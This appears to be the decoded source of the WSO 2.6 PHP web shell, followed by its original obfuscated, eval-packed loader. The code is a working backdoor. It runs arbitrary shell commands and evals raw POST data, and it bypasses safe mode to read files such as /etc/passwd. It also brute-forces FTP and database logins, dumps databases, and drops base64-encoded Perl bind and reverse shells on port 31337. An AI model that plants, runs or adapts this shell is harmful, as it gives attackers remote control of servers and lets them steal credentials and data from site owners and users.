$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' ';break;
case 9: $h[2] .= ' ';break;
case 10: $h[2] .= ' ';break;
case 13: $h[2] .= ' ';break;
default: $h[2] .= $c[$i];break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 <$len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'],$_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
}else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s",@filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
wsoFooter();
}
function actionSafeMode() {
$temp='';
ob_start();
switch($_POST['p1']) {
case 1:
$temp=@tempnam($test,'cx');
if(@copy("compress.zlib://".$_POST['p2'],$temp)){
echo @file_get_contents($temp);
unlink($temp);
}else
echo 'Sorry... Can\'t open file';
break;
case 2:
$files = glob($_POST['p2'].'*');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST['p2']."".preg_replace('!\(\d+\)\s.*!','','index.php'));
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST['p2']);
break;
case 5:
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
echo join(':',$uid)."
";
}
break;
}
$temp = ob_get_clean();
wsoHeader();
echo '<h1>Safe mode bypass</h1><div class=content>';
echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if($temp)
echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
echo '</div>';
wsoFooter();
}
function actionConsole() {
if(!empty($_POST['p1']) &&!empty($_POST['p2'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
$_POST['p1'] .= ' 2>&1';
}elseif(!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'],'UTF-8',addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp),"
",$temp;
exit;
}
wsoHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n =>$v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
wsoFooter();
}
function actionLogout() {
session_destroy();
die('bye!');
}
function actionSelfRemove() {
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!','','index.php')))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
wsoHeader();
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
wsoFooter();
}
function actionBruteforce() {
wsoHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp') {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip,$port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp,$login,$pass);
@ftp_close($fp);
return $res;
}
}elseif( $_POST['proto'] == 'mysql') {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306,$login,$pass);
@mysql_close($res);
return $res;
}
}elseif( $_POST['proto'] == 'pgsql') {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":",$_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":",$line);
++$attempts;
if( bruteForce(@$server[0],@$server[1],$line[0],$line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1;$i>=0;--$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1],$line[0],$tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
}elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1],$_POST['login'],$line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
wsoFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host,$user,$pass,$dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':',$host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str,$this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link,$str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table,$fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp,$sql);else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ",$columns).") VALUES
(".implode(", ",$item).')';
$head = false;
}else
$sql = "
,(".implode(", ",$item).')';
if($fp) fwrite($fp,$sql);else echo($sql);
}
if(!$head)
if($fp) fwrite($fp,";
");else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ",$columns).') VALUES ('.implode(", ",$item).');'."
";
if($fp) fwrite($fp,$sql);else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251');break;
case "UTF-8": $db->setCharset('utf8');break;
case "KOI8-R": $db->setCharset('koi8r');break;
case "KOI8-U": $db->setCharset('koi8u');break;
case "cp866": $db->setCharset('cp866');break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler",4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
}elseif($fp = @fopen($_POST['file'],'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v,$fp);
fclose($fp);
unset($_POST['p2']);
}else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
wsoHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='".(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='".(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='".(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251');break;
case "UTF-8": $db->setCharset('utf8');break;
case "KOI8-R": $db->setCharset('koi8r');break;
case "KOI8-U": $db->setCharset('koi8u');break;
case "cp866": $db->setCharset('cp866');break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key,$value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'".(empty($_POST['sql_count'])?'':' checked') ."> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) &&$db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key,$value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>".(empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") ."</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM '.$_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"".$_POST['p2'] ."\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=".((int)$_POST['p3']) .">";
echo " of $pages";
if($_POST['p3'] >1)
echo " <a href=# onclick='st(\"".$_POST['p2'] .'", '.($_POST['p3']-1) .")'>< Prev</a>";
if($_POST['p3'] <$pages)
echo " <a href=# onclick='st(\"".$_POST['p2'] .'", '.($_POST['p3']+1) .")'>Next ></a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') &&!empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key =>$value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key =>$value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
}else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) &&($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
}else {
echo htmlspecialchars($db->error());
}
echo '</div>';
wsoFooter();
}
function actionNetwork() {
wsoHeader();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='".$_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
wsoFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname"=>php_uname(),
"php_version"=>phpversion(),
"wso_version"=>WSO_VERSION,
"safemode"=>@ini_get('safe_mode')
);
echo serialize($a);
}else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) &&function_exists('action'.$default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) &&function_exists('action'.$_POST['a']) )
call_user_func('action'.$_POST['a']);
function FetchURL($url) {
$ch = curl_init();
curl_setopt($ch,CURLOPT_USERAGENT,"$cheader");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_HEADER,false);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_TIMEOUT,30);
$data = curl_exec($ch);
if(!$data) {
return false;
}
return $data;
}
exit;
Did this file decode correctly?
Original Code
<?php /* WSO [2.6] */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x1bbc0;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDUwZCk7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>~Dkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLO0xNWLyHA1SmT09NHeEXHr8Xk10PkrfHT0knTyYdk09NTzEXHeEXTZffhtOuTr9tWAxTBZfNHr8XHr9NHeEmbUILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==eWpzcbYzDB9Vb3Y0Cbk0htL7eWPLFoyzF3fvFMWINUEJwjSYtJOXCbYzfulXcUE9wtwJKX0hkoYvdo9Zwe0IwJYLcjAJKX0hkoOlcMy1duOgCBY0DB9Vwe0Ik0cpdoazTByVkzSYtJOLcBcifBx0b3azca9iDMy4we0Ifuk1cTSYtJOLcBcifBx0b2YPCbkzcbWINUEma2lVco93FZ0xHjAxkzSYtMlMhtyldbn0GUILb1YyAlcyAlSmUyOAAy9aA0aUb0yuOA5Ak10phUn7eWPLfbYlFLymcB50FZE9woyZFMy5htkud29mdoAJRtkTduaZFtwSwL1TTLkvftwSwMlib2yZC2ipfMaZwJXJBByVcoa4wJXJAMysCMxlFJwpKX0hDBCPFuklc19sCbOjDtImRZFVDB1Xdo9LcUImgtFSkuazcbknc2aVfuHpwt4mR2LmRtOgA0aUaLaUBZfwayOWb1aTOakgWAfyTlWmbULpwuSYtMilCBOlFJImUyOAAt8xRjEIYeE0wr5vftnod3aVctFpKX0hcbipfeSYtm19e